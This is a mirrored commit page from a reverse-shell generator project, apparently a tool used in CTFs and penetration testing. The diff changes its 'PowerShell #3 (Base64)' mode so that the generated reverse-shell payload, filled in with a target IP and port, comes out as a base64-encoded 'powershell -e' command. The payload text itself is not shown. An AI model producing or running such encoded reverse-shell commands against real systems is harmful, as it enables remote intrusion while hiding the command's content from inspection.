mirror of
https://github.com/0dayCTF/reverse-shell-generator.git
synced 2025-01-29 22:05:08 +00:00
fix: PowerShell #3 Mode cannot use in raw function
This commit is contained in:
parent
c93941322c
commit
09df3bced5
@ -6,9 +6,9 @@ const insertParameters = function (command, params) {
|
||||
const encoder = (value) => value;
|
||||
|
||||
if (command === "PowerShell #3 (Base64)") {
|
||||
return rsgData.specialCommands['PowerShell payload']
|
||||
return "powershell -e " + btoa(rsgData.specialCommands['PowerShell payload']
|
||||
.replace(encoder('{ip}'), encoder(params.ip))
|
||||
.replace(encoder('{port}'), encoder(String(params.port)))
|
||||
.replace(encoder('{port}'), encoder(String(params.port))))
|
||||
}
|
||||
|
||||
return command
|
||||
|
Loading…
Reference in New Issue
Block a user